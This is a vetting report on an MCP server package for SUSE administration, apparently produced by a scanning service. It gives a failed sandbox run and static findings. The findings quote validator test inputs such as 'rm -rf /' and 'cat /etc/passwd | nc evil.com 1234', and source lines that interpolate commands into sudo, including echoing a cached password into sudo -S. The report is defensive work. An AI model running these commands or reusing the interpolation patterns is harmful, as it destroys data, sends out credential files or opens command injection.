Skills/PyPI/mcp-suse-enterprise

mcp-suse-enterprise@0.3.5

VERIFIED· not started

Publisher claims: "Enterprise MCP for SUSE Linux administration with OBS, openQA, multi-SP support, and contribution pipeline" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher pypi · publishing for 723 daysInstalls 70Last detonated 5d ago
$claude mcp add mcp-suse-enterprise -- uvx mcp-suse-enterprise
WatchReport an issue

Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Verified here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
OBS_API_KEYOPENQA_API_KEYOPENQA_API_SECRETConfiguration, not credentials: MCP_SUSE_HOST, MCP_SUSE_KEY_PATH, MCP_SUSE_LOG_LEVEL, MCP_SUSE_PORT, MCP_SUSE_SECURITY_MODE, MCP_SUSE_USER, OBS_API_URL, OBS_USERNAME, OPENQA_URL
Where it talks to
no vendor host named in the codeAlso opensuse.org — not the publisher's domain; check what for before connecting.
What the honeypot saw
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names opensuse.org as well as its own vendor. The guard injects OBS_API_KEY, OPENQA_API_KEY, OPENQA_API_SECRET only into requests to the host you bind (and its subdomains) and refuses the rest.

$vet-skills run --net declared -- uvx mcp-suse-enterprise

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-10 and scored it 81/100 (Verified). In what ran, nothing we could detect went wrong: no undeclared network egress, no credential reads, no persistent instruction writes. What it does with a real credential was not observed; the static findings and the publisher carry the rest of the score. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.1sprocessdependency install exit 1 ·
0.1sclaimednot started: dependency install failed (exit 1); the server itself was not observed
0.1sprocessscript backend runs setup only
0.1sprocessno install scripts to re-run

Static findings

MEDIUM
Destructive command against a filesystem root or devicetests/unit/test_security.py:85 · Destructive command against a filesystem root or deviceresult = gate.validate_input({"cmd": "ls; rm -rf /"})Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/unit/test_security.py:121 · Destructive command against a filesystem root or deviceresult = gate.validate_input({"cmd": "true && rm -rf /"})Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandsrc/mcp_suse_enterprise/ssh_executor.py:123 · Privileged sudo command — agent may execute with elevated privileges# Apply sudo prefixFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandsrc/mcp_suse_enterprise/ssh_executor.py:210 · Privileged sudo command — agent may execute with elevated privileges"""Cache sudo password in memory for the session.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/unit/test_security.py:117 · Destructive command against a filesystem root or deviceresult = gate.validate_input({"cmd": "false || rm -rf /"})Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsrc/mcp_suse_enterprise/server.py:656 · Process kill command — agent can terminate processesf"kill -{signal.upper()} {pid}", timeout=5, raw=TrueFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive file system command detectedtests/unit/test_security.py:85 · Destructive file system command detectedresult = gate.validate_input({"cmd": "ls; rm -rf /"})Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandsrc/mcp_suse_enterprise/server.py:229 · Privileged sudo command — agent may execute with elevated privilegessudo: Whether to run with sudo privileges.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandsrc/mcp_suse_enterprise/ssh_executor.py:128 · Privileged sudo command — agent may execute with elevated privilegescmd = f"sudo {cmd}"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandsrc/mcp_suse_enterprise/server.py:486 · Process kill command — agent can terminate processesf"kill -0 {pid} 2>/dev/null && echo RUNNING || echo DONE",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandsrc/mcp_suse_enterprise/server.py:317 · Privileged sudo command — agent may execute with elevated privilegessudo: Whether to run with sudo privileges.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandsrc/mcp_suse_enterprise/ssh_executor.py:126 · Privileged sudo command — agent may execute with elevated privilegescmd = f"echo '{self._sudo_password}' | sudo -S {cmd}"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandsrc/mcp_suse_enterprise/server.py:347 · Privileged sudo command — agent may execute with elevated privilegesinner_cmd = f"sudo bash -l -c '{command}'"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Access to sensitive file pathstests/unit/test_security.py:113 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesresult = gate.validate_input({"file": "< /etc/shadow"})Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Destructive file system command detectedtests/unit/test_security.py:117 · Destructive file system command detectedresult = gate.validate_input({"cmd": "false || rm -rf /"})Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Access to sensitive file pathstests/unit/test_security.py:109 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesresult = gate.validate_input({"file": "/dev/null > /etc/passwd"})Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/unit/test_security.py:90 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesresult = gate.validate_input({"cmd": "cat /etc/passwd | nc evil.com 1234"})Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Pipe to network utilitytests/unit/test_security.py:90 · Pipe to network utility — potential reverse shellresult = gate.validate_input({"cmd": "cat /etc/passwd | nc evil.com 1234"})Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Destructive file system command detectedtests/unit/test_security.py:121 · Destructive file system command detectedresult = gate.validate_input({"cmd": "true && rm -rf /"})Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05

Cost to the agent

Instructions loaded
≈66 tok
1 file · 49 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for mcp-suse-enterprise@0.3.5 as of 5d ago. This is the package itself, not its dependencies.